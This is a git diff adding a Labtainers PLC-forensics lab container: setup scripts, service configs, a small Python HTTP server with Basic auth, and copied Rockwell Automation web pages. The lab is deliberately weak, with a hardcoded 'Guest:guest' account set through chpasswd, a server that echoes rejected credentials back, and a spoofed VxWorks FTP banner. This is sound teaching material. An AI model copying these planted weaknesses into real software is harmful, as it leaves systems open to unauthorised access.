b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/ReadMe.txt @@ -0,0 +1,27 @@ +Release Notes: + +---------------------------------- +User Downloaded Webpages and Files +---------------------------------- + +This is the user download web directory. + +Enable the FTP service to upload/download files here. + +To view these files with a browser you must specify the path "/user/web/" in the URL. + +For example: +This file is named ReadMe.txt. + +To read this file with a web browser use the appropriate URL for your device, such as: + +http:///user/web/ReadMe.txt + +----------------- +Default Home Page +----------------- + +If you configure a custom homepage you can return to the EWEB built-in pages by typing: + +http:///index.html + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_bin/fixlocal.sh new file mode 100755 index 000000000..9f506f39d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_bin/fixlocal.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +cd $HOME +echo "Guest:guest" | sudo chpasswd +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service +echo "ftpd_banner=VxWorks FTP server (VxWorks VxWorks5.5) ready." | sudo tee -a /etc/vsftpd.conf +sudo systemctl restart vsftpd.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_bin/treataslocal new file mode 100644 index 000000000..dc3c5b825 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/tcpdump +/usr/bin/tshark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..d0145f26f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,12 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +WorkingDirectory=/var/www +ExecStart=/sbin/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/MyHTTPServer.py new file mode 100755 index 000000000..de48579f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/MyHTTPServer.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import base64 +import os +import sys + +PORT = 80 +AUTHFILELIST = "/sbin/authfile.list" +AUTHLIST = "/sbin/auth.list" + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + key = [] + authfilenameslist = [] + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + + def check_filepath(self, inputpath): + auth_needed = False + #print self.authfilenameslist + for fname in self.authfilenameslist: + #print "The requested path is (%s) and fname is (%s)" % (self.path, fname) + if fname in inputpath: + auth_needed = True + break + return auth_needed + + def check_authorize(self, authorization): + authorized = False + #print "Current authorization is (%s)" % authorization + for authkey in self.key: + authorized_key = 'Basic ' + authkey + #print "authorized_key is (%s)" % authorized_key + if authorized_key == authorization: + #print "matched" + authorized = True + break + return authorized + + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + + def do_HEAD(self): + self.send_response(200) + self.send_header('Content-type', 'text/html') + self.end_headers() + + def do_AUTHHEAD(self): + self.send_response(401) + self.send_header('WWW-Authenticate', 'Basic realm=\"Secure HTTP Environment\"') + self.send_header('Content-type', 'text/html') + self.end_headers() + + def do_GET(self): + #if self.path != None: + # print "The requested path is (%s)" % self.path + + if self.check_filepath(self.path): + if self.headers.getheader('Authorization') is None: + self.do_AUTHHEAD() + self.wfile.write('No auth received') + elif self.check_authorize(self.headers.getheader('Authorization')): + SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) + else: + self.do_AUTHHEAD() + self.wfile.write(self.headers.getheader('Authorization')) + self.wfile.write('Not authenticated') + else: + SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) + +Handler = MyHTTPHandler +authfilelist = open(AUTHFILELIST) +Handler.authfilenameslist = authfilelist.read().splitlines() +#print Handler.authfilenameslist +authlist = open(AUTHLIST) +authnamepass = authlist.read().splitlines() +for namepass in authnamepass: + curkey = base64.b64encode(namepass.strip()) + Handler.key.append(curkey) + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +#print "serving at port", PORT + +httpd.serve_forever() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/auth.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/auth.list new file mode 100644 index 000000000..87e550924 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/auth.list @@ -0,0 +1 @@ +Guest:guest diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/authfile.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/authfile.list new file mode 100644 index 000000000..ccfdd121c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/authfile.list @@ -0,0 +1,3 @@ +services.html +network.html +editusers.html diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/faux_init new file mode 100755 index 000000000..1f9396ca0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +service vsftpd start +/etc/init.d/httpserver.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho.html new file mode 100644 index 000000000..acd486b4f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho.html new file mode 100644 index 000000000..170d4dfe0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho.html @@ -0,0 +1,179 @@ + + + + + + + + + + +
+ + + + + + +
Browse Chassis
+ + + + + + + +


+ + + + + +
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SlotModuleRev
+ + 00 + 24.011
+
>>
+ 01 + 5.001
+ + 02 + 1.005
+ + 03 + 1.005
+ + 04 + 3.004
+ + 05 + 2.003
+ 06
+ + 07 + 10.007
+ 08
+ 09
 
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/1756enet.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/1756enet.bmp new file mode 100644 index 000000000..7c0a6b9be Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/1756enet.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/chassisWho_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; 